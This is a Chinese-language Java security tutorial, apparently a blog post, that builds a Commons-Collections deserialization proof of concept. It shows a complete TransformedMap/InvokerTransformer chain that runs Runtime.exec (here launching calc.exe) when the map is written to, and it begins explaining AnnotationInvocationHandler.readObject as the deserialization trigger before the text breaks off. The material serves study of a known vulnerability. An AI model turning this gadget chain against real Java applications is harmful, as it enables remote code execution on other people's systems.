java安全(八)TransformedMap构造POC

给个关注？宝儿！
给个关注？宝儿！
给个关注？宝儿！

上一篇构造了一个了commons-collections的demo
【传送门】

package test.org.vulhub.Ser;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
   
    public static void main(String[] args) throws Exception {
   
        Transformer[] transformers = new Transformer[]{
   
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{
   String.class},
                        new Object[]
                                {
   "C:\\WINDOWS\\system32\\calc.exe"}),
        };

        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

了解了Transformer，接下来尝试构建poc

AnnotationInvocationHandler

这个漏洞核心，是想Map中加一个新的元素，在demo中，我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中，还需要有一个雷，使他在反序列化readObject中有类似写入的操作

就是：sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler的 readObject方法：

private void readObject(java.io.ObjectInputStream s) 
	throws java.io.IOException, ClassNotFoundException {
    
	s.defaultReadObject()

	// Check to make sure that types have not evolved incompatibly</